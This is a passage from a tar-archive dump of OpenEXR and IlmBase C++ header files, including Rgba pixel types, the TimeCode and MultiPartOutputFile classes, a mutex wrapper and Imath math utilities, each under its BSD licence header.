RGBA pixel // struct Rgba { half r; half g; half b; half a; Rgba () {} Rgba (half r, half g, half b, half a = 1.f): r (r), g (g), b (b), a (a) {} Rgba & operator = (const Rgba &other) { r = other.r; g = other.g; b = other.b; a = other.a; return *this; } }; // // Channels in an RGBA file // enum RgbaChannels { WRITE_R = 0x01, // Red WRITE_G = 0x02, // Green WRITE_B = 0x04, // Blue WRITE_A = 0x08, // Alpha WRITE_Y = 0x10, // Luminance, for black-and-white images, // or in combination with chroma WRITE_C = 0x20, // Chroma (two subsampled channels, RY and BY, // supported only for scanline-based files) WRITE_RGB = 0x07, // Red, green, blue WRITE_RGBA = 0x0f, // Red, green, blue, alpha WRITE_YC = 0x30, // Luminance, chroma WRITE_YA = 0x18, // Luminance, alpha WRITE_YCA = 0x38 // Luminance, chroma, alpha }; OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif OpenEXR/ImfGenericInputFile.h 0000644 00000004412 15246445047 0012041 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2011, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef IMFGENERICINPUTFILE_H_ #define IMFGENERICINPUTFILE_H_ #include "ImfIO.h" #include "ImfHeader.h" #include "ImfNamespace.h" #include "ImfExport.h" OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER class IMF_EXPORT GenericInputFile { public: virtual ~GenericInputFile() {} protected: GenericInputFile() {} void readMagicNumberAndVersionField(OPENEXR_IMF_INTERNAL_NAMESPACE::IStream& is, int& version); }; OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif /* IMFGENERICINPUTFILE_H_ */ OpenEXR/IlmThreadMutex.h 0000644 00000010505 15246445047 0011105 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2005-2012, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_ILM_THREAD_MUTEX_H #define INCLUDED_ILM_THREAD_MUTEX_H //----------------------------------------------------------------------------- // // class Mutex, class Lock // // Class Mutex is a wrapper for a system-dependent mutual exclusion // mechanism. Actual locking and unlocking of a Mutex object must // be performed using an instance of a Lock (defined below). // // Class lock provides safe locking and unlocking of mutexes even in // the presence of C++ exceptions. Constructing a Lock object locks // the mutex; destroying the Lock unlocks the mutex. // // Lock objects are not themselves thread-safe. You should never // share a Lock object among multiple threads. // // Typical usage: // // Mutex mtx; // Create a Mutex object that is visible // //to multiple threads // // ... // create some threads // // // Then, within each thread, construct a critical section like so: // // { // Lock lock (mtx); // Lock constructor locks the mutex // ... // do some computation on shared data // } // leaving the block unlocks the mutex // //----------------------------------------------------------------------------- #include "IlmThreadExport.h" #include "IlmBaseConfig.h" #include "IlmThreadNamespace.h" #if defined _WIN32 || defined _WIN64 #ifdef NOMINMAX #undef NOMINMAX #endif #define NOMINMAX #include <windows.h> #elif HAVE_PTHREAD #include <pthread.h> #endif ILMTHREAD_INTERNAL_NAMESPACE_HEADER_ENTER class Lock; class ILMTHREAD_EXPORT Mutex { public: Mutex (); virtual ~Mutex (); private: void lock () const; void unlock () const; #if defined _WIN32 || defined _WIN64 mutable CRITICAL_SECTION _mutex; #elif HAVE_PTHREAD mutable pthread_mutex_t _mutex; #endif void operator = (const Mutex& M); // not implemented Mutex (const Mutex& M); // not implemented friend class Lock; }; class ILMTHREAD_EXPORT Lock { public: Lock (const Mutex& m, bool autoLock = true): _mutex (m), _locked (false) { if (autoLock) { _mutex.lock(); _locked = true; } } ~Lock () { if (_locked) _mutex.unlock(); } void acquire () { _mutex.lock(); _locked = true; } void release () { _mutex.unlock(); _locked = false; } bool locked () { return _locked; } private: const Mutex & _mutex; bool _locked; }; ILMTHREAD_INTERNAL_NAMESPACE_HEADER_EXIT #endif // INCLUDED_ILM_THREAD_MUTEX_H OpenEXR/ImfTimeCode.h 0000644 00000015774 15246445047 0010353 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2004, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMF_TIME_CODE_H #define INCLUDED_IMF_TIME_CODE_H #include "ImfExport.h" #include "ImfNamespace.h" //----------------------------------------------------------------------------- // // class TimeCode // // A TimeCode object stores time and control codes as described // in SMPTE standard 12M-1999. A TimeCode object contains the // following fields: // // Time Address: // // hours integer, range 0 - 23 // minutes integer, range 0 - 59 // seconds integer, range 0 - 59 // frame integer, range 0 - 29 // // Flags: // // drop frame flag boolean // color frame flag boolean // field/phase flag boolean // bgf0 boolean // bgf1 boolean // bgf2 boolean // // Binary groups for user-defined data and control codes: // // binary group 1 integer, range 0 - 15 // binary group 2 integer, range 0 - 15 // ... // binary group 8 integer, range 0 - 15 // // Class TimeCode contains methods to convert between the fields // listed above and a more compact representation where the fields // are packed into two unsigned 32-bit integers. In the packed // integer representations, bit 0 is the least significant bit, // and bit 31 is the most significant bit of the integer value. // // The time address and flags fields can be packed in three // different ways: // // bits packing for packing for packing for // 24-frame 60-field 50-field // film television television // // 0 - 3 frame units frame units frame units // 4 - 5 frame tens frame tens frame tens // 6 unused, set to 0 drop frame flag unused, set to 0 // 7 unused, set to 0 color frame flag color frame flag // 8 - 11 seconds units seconds units seconds units // 12 - 14 seconds tens seconds tens seconds tens // 15 phase flag field/phase flag bgf0 // 16 - 19 minutes units minutes units minutes units // 20 - 22 minutes tens minutes tens minutes tens // 23 bgf0 bgf0 bgf2 // 24 - 27 hours units hours units hours units // 28 - 29 hours tens hours tens hours tens // 30 bgf1 bgf1 bgf1 // 31 bgf2 bgf2 field/phase flag // // User-defined data and control codes are packed as follows: // // bits field // // 0 - 3 binary group 1 // 4 - 7 binary group 2 // 8 - 11 binary group 3 // 12 - 15 binary group 4 // 16 - 19 binary group 5 // 20 - 23 binary group 6 // 24 - 27 binary group 7 // 28 - 31 binary group 8 // //----------------------------------------------------------------------------- OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER class IMF_EXPORT TimeCode { public: //--------------------- // Bit packing variants //--------------------- enum Packing { TV60_PACKING, // packing for 60-field television TV50_PACKING, // packing for 50-field television FILM24_PACKING // packing for 24-frame film }; //------------------------------------- // Constructors and assignment operator //------------------------------------- TimeCode (); // all fields set to 0 or false TimeCode (int hours, int minutes, int seconds, int frame, bool dropFrame = false, bool colorFrame = false, bool fieldPhase = false, bool bgf0 = false, bool bgf1 = false, bool bgf2 = false, int binaryGroup1 = 0, int binaryGroup2 = 0, int binaryGroup3 = 0, int binaryGroup4 = 0, int binaryGroup5 = 0, int binaryGroup6 = 0, int binaryGroup7 = 0, int binaryGroup8 = 0); TimeCode (unsigned int timeAndFlags, unsigned int userData = 0, Packing packing = TV60_PACKING); TimeCode (const TimeCode &other); TimeCode & operator = (const TimeCode &other); //---------------------------- // Access to individual fields //---------------------------- int hours () const; void setHours (int value); int minutes () const; void setMinutes (int value); int seconds () const; void setSeconds (int value); int frame () const; void setFrame (int value); bool dropFrame () const; void setDropFrame (bool value); bool colorFrame () const; void setColorFrame (bool value); bool fieldPhase () const; void setFieldPhase (bool value); bool bgf0 () const; void setBgf0 (bool value); bool bgf1 () const; void setBgf1 (bool value); bool bgf2 () const; void setBgf2 (bool value); int binaryGroup (int group) const; // group must be between 1 and 8 void setBinaryGroup (int group, int value); //--------------------------------- // Access to packed representations //--------------------------------- unsigned int timeAndFlags (Packing packing = TV60_PACKING) const; void setTimeAndFlags (unsigned int value, Packing packing = TV60_PACKING); unsigned int userData () const; void setUserData (unsigned int value); //--------- // Equality //--------- bool operator == (const TimeCode &v) const; bool operator != (const TimeCode &v) const; private: unsigned int _time; unsigned int _user; }; OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif OpenEXR/IlmBaseConfig.h 0000644 00000000255 15246445047 0010654 0 ustar 00 #include <bits/wordsize.h> #if __WORDSIZE == 32 #include "IlmBaseConfig-32.h" #elif __WORDSIZE == 64 #include "IlmBaseConfig-64.h" #else #error "Unknown word size" #endif OpenEXR/ImfMultiPartOutputFile.h 0000644 00000010445 15246445047 0012612 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2011, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // Portions (c) 2012 Weta Digital Ltd // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef MULTIPARTOUTPUTFILE_H_ #define MULTIPARTOUTPUTFILE_H_ #include "ImfHeader.h" #include "ImfGenericOutputFile.h" #include "ImfForward.h" #include "ImfThreading.h" #include "ImfNamespace.h" #include "ImfExport.h" OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER // // Class responsible for handling the writing of multipart images. // // Note: Certain attributes are 'common' to all parts. Notably: // * Display Window // * Pixel Aspect Ratio // * Time Code // * Chromaticities // The first header forms the basis for the set of attributes that are shared // across the constituent parts. // // Parameters // headers - pointer to array of headers; one for each part of the image file // parts - count of number of parts // overrideSharedAttributes - toggle for the handling of shared attributes. // set false to check for inconsistencies, true // to copy the values over from the first header. // numThreads - number of threads that should be used in encoding the data. // class IMF_EXPORT MultiPartOutputFile : public GenericOutputFile { public: MultiPartOutputFile(const char fileName[], const Header * headers, int parts, bool overrideSharedAttributes = false, int numThreads = globalThreadCount()); MultiPartOutputFile(OStream & os, const Header * headers, int parts, bool overrideSharedAttributes = false, int numThreads = globalThreadCount()); // // return number of parts in file // int parts() const ; // // return header for part n // (note: may have additional attributes compared to that passed to constructor) // const Header & header(int n) const; ~MultiPartOutputFile(); struct Data; private: Data* _data; MultiPartOutputFile(const MultiPartOutputFile &); // not implemented template<class T> T* getOutputPart(int partNumber); friend class OutputPart; friend class TiledOutputPart; friend class DeepScanLineOutputPart; friend class DeepTiledOutputPart; }; OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif /* MULTIPARTOUTPUTFILE_H_ */ OpenEXR/ImfDeepImageStateAttribute.h 0000644 00000005224 15246445047 0013354 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2013, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMF_DEEPIMAGESTATE_ATTRIBUTE_H #define INCLUDED_IMF_DEEPIMAGESTATE_ATTRIBUTE_H //----------------------------------------------------------------------------- // // class DeepImageStateAttribute // //----------------------------------------------------------------------------- #include "ImfAttribute.h" #include "ImfDeepImageState.h" #include "ImfExport.h" OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER typedef TypedAttribute<OPENEXR_IMF_INTERNAL_NAMESPACE::DeepImageState> DeepImageStateAttribute; template <> IMF_EXPORT const char *DeepImageStateAttribute::staticTypeName (); template <> IMF_EXPORT void DeepImageStateAttribute::writeValueTo (OPENEXR_IMF_INTERNAL_NAMESPACE::OStream &, int) const; template <> IMF_EXPORT void DeepImageStateAttribute::readValueFrom (OPENEXR_IMF_INTERNAL_NAMESPACE::IStream &, int, int); OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif OpenEXR/ImathFun.h 0000644 00000013764 15246445047 0007736 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2002-2012, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMATHFUN_H #define INCLUDED_IMATHFUN_H //----------------------------------------------------------------------------- // // Miscellaneous utility functions // //----------------------------------------------------------------------------- #include "ImathExport.h" #include "ImathLimits.h" #include "ImathInt64.h" #include "ImathNamespace.h" IMATH_INTERNAL_NAMESPACE_HEADER_ENTER template <class T> inline T abs (T a) { return (a > T(0)) ? a : -a; } template <class T> inline int sign (T a) { return (a > T(0))? 1 : ((a < T(0)) ? -1 : 0); } template <class T, class Q> inline T lerp (T a, T b, Q t) { return (T) (a * (1 - t) + b * t); } template <class T, class Q> inline T ulerp (T a, T b, Q t) { return (T) ((a > b)? (a - (a - b) * t): (a + (b - a) * t)); } template <class T> inline T lerpfactor(T m, T a, T b) { // // Return how far m is between a and b, that is return t such that // if: // t = lerpfactor(m, a, b); // then: // m = lerp(a, b, t); // // If a==b, return 0. // T d = b - a; T n = m - a; if (abs(d) > T(1) || abs(n) < limits<T>::max() * abs(d)) return n / d; return T(0); } template <class T> inline T clamp (T a, T l, T h) { return (a < l)? l : ((a > h)? h : a); } template <class T> inline int cmp (T a, T b) { return IMATH_INTERNAL_NAMESPACE::sign (a - b); } template <class T> inline int cmpt (T a, T b, T t) { return (IMATH_INTERNAL_NAMESPACE::abs (a - b) <= t)? 0 : cmp (a, b); } template <class T> inline bool iszero (T a, T t) { return (IMATH_INTERNAL_NAMESPACE::abs (a) <= t) ? 1 : 0; } template <class T1, class T2, class T3> inline bool equal (T1 a, T2 b, T3 t) { return IMATH_INTERNAL_NAMESPACE::abs (a - b) <= t; } template <class T> inline int floor (T x) { return (x >= 0)? int (x): -(int (-x) + (-x > int (-x))); } template <class T> inline int ceil (T x) { return -floor (-x); } template <class T> inline int trunc (T x) { return (x >= 0) ? int(x) : -int(-x); } // // Integer division and remainder where the // remainder of x/y has the same sign as x: // // divs(x,y) == (abs(x) / abs(y)) * (sign(x) * sign(y)) // mods(x,y) == x - y * divs(x,y) // inline int divs (int x, int y) { return (x >= 0)? ((y >= 0)? ( x / y): -( x / -y)): ((y >= 0)? -(-x / y): (-x / -y)); } inline int mods (int x, int y) { return (x >= 0)? ((y >= 0)? ( x % y): ( x % -y)): ((y >= 0)? -(-x % y): -(-x % -y)); } // // Integer division and remainder where the // remainder of x/y is always positive: // // divp(x,y) == floor (double(x) / double (y)) // modp(x,y) == x - y * divp(x,y) // inline int divp (int x, int y) { return (x >= 0)? ((y >= 0)? ( x / y): -( x / -y)): ((y >= 0)? -((y-1-x) / y): ((-y-1-x) / -y)); } inline int modp (int x, int y) { return x - y * divp (x, y); } //---------------------------------------------------------- // Successor and predecessor for floating-point numbers: // // succf(f) returns float(f+e), where e is the smallest // positive number such that float(f+e) != f. // // predf(f) returns float(f-e), where e is the smallest // positive number such that float(f-e) != f. // // succd(d) returns double(d+e), where e is the smallest // positive number such that double(d+e) != d. // // predd(d) returns double(d-e), where e is the smallest // positive number such that double(d-e) != d. // // Exceptions: If the input value is an infinity or a nan, // succf(), predf(), succd(), and predd() all // return the input value without changing it. // //---------------------------------------------------------- IMATH_EXPORT float succf (float f); IMATH_EXPORT float predf (float f); IMATH_EXPORT double succd (double d); IMATH_EXPORT double predd (double d); // // Return true if the number is not a NaN or Infinity. // inline bool finitef (float f) { union {float f; int i;} u; u.f = f; return (u.i & 0x7f800000) != 0x7f800000; } inline bool finited (double d) { union {double d; Int64 i;} u; u.d = d; return (u.i & 0x7ff0000000000000LL) != 0x7ff0000000000000LL; } IMATH_INTERNAL_NAMESPACE_HEADER_EXIT #endif // INCLUDED_IMATHFUN_H OpenEXR/ImathMath.h 0000644 00000016263 15246445047 0010074 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2002-2012, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMATHMATH_H #define INCLUDED_IMATHMATH_H //---------------------------------------------------------------------------- // // ImathMath.h // // This file contains template functions which call the double- // precision math functions defined in math.h (sin(), sqrt(), // exp() etc.), with specializations that call the faster // single-precision versions (sinf(), sqrtf(), expf() etc.) // when appropriate. // // Example: // // double x = Math<double>::sqrt (3); // calls ::sqrt(double); // float y = Math<float>::sqrt (3); // calls ::sqrtf(float); // // When would I want to use this? // // You may be writing a template which needs to call some function // defined in math.h, for example to extract a square root, but you // don't know whether to call the single- or the double-precision // version of this function (sqrt() or sqrtf()): // // template <class T> // T // glorp (T x) // { // return sqrt (x + 1); // should call ::sqrtf(float) // } // if x is a float, but we // // don't know if it is // // Using the templates in this file, you can make sure that // the appropriate version of the math function is called: // // template <class T> // T // glorp (T x, T y) // { // return Math<T>::sqrt (x + 1); // calls ::sqrtf(float) if x // } // is a float, ::sqrt(double) // // otherwise // //---------------------------------------------------------------------------- #include "ImathPlatform.h" #include "ImathLimits.h" #include "ImathNamespace.h" #include <math.h> IMATH_INTERNAL_NAMESPACE_HEADER_ENTER template <class T> struct Math { static T acos (T x) {return ::acos (double(x));} static T asin (T x) {return ::asin (double(x));} static T atan (T x) {return ::atan (double(x));} static T atan2 (T x, T y) {return ::atan2 (double(x), double(y));} static T cos (T x) {return ::cos (double(x));} static T sin (T x) {return ::sin (double(x));} static T tan (T x) {return ::tan (double(x));} static T cosh (T x) {return ::cosh (double(x));} static T sinh (T x) {return ::sinh (double(x));} static T tanh (T x) {return ::tanh (double(x));} static T exp (T x) {return ::exp (double(x));} static T log (T x) {return ::log (double(x));} static T log10 (T x) {return ::log10 (double(x));} static T modf (T x, T *iptr) { double ival; T rval( ::modf (double(x),&ival)); *iptr = ival; return rval; } static T pow (T x, T y) {return ::pow (double(x), double(y));} static T sqrt (T x) {return ::sqrt (double(x));} static T ceil (T x) {return ::ceil (double(x));} static T fabs (T x) {return ::fabs (double(x));} static T floor (T x) {return ::floor (double(x));} static T fmod (T x, T y) {return ::fmod (double(x), double(y));} static T hypot (T x, T y) {return ::hypot (double(x), double(y));} }; template <> struct Math<float> { static float acos (float x) {return ::acosf (x);} static float asin (float x) {return ::asinf (x);} static float atan (float x) {return ::atanf (x);} static float atan2 (float x, float y) {return ::atan2f (x, y);} static float cos (float x) {return ::cosf (x);} static float sin (float x) {return ::sinf (x);} static float tan (float x) {return ::tanf (x);} static float cosh (float x) {return ::coshf (x);} static float sinh (float x) {return ::sinhf (x);} static float tanh (float x) {return ::tanhf (x);} static float exp (float x) {return ::expf (x);} static float log (float x) {return ::logf (x);} static float log10 (float x) {return ::log10f (x);} static float modf (float x, float *y) {return ::modff (x, y);} static float pow (float x, float y) {return ::powf (x, y);} static float sqrt (float x) {return ::sqrtf (x);} static float ceil (float x) {return ::ceilf (x);} static float fabs (float x) {return ::fabsf (x);} static float floor (float x) {return ::floorf (x);} static float fmod (float x, float y) {return ::fmodf (x, y);} #if !defined(_MSC_VER) static float hypot (float x, float y) {return ::hypotf (x, y);} #else static float hypot (float x, float y) {return ::sqrtf(x*x + y*y);} #endif }; //-------------------------------------------------------------------------- // Don Hatch's version of sin(x)/x, which is accurate for very small x. // Returns 1 for x == 0. //-------------------------------------------------------------------------- template <class T> inline T sinx_over_x (T x) { if (x * x < limits<T>::epsilon()) return T (1); else return Math<T>::sin (x) / x; } //-------------------------------------------------------------------------- // Compare two numbers and test if they are "approximately equal": // // equalWithAbsError (x1, x2, e) // // Returns true if x1 is the same as x2 with an absolute error of // no more than e, // // abs (x1 - x2) <= e // // equalWithRelError (x1, x2, e) // // Returns true if x1 is the same as x2 with an relative error of // no more than e, // // abs (x1 - x2) <= e * x1 // //-------------------------------------------------------------------------- template <class T> inline bool equalWithAbsError (T x1, T x2, T e) { return ((x1 > x2)? x1 - x2: x2 - x1) <= e; } template <class T> inline bool equalWithRelError (T x1, T x2, T e) { return ((x1 > x2)? x1 - x2: x2 - x1) <= e * ((x1 > 0)? x1: -x1); } IMATH_INTERNAL_NAMESPACE_HEADER_EXIT #endif // INCLUDED_IMATHMATH_H OpenEXR/ImfKeyCode.h 0000644 00000011636 15246445047 0010176 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2004, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // 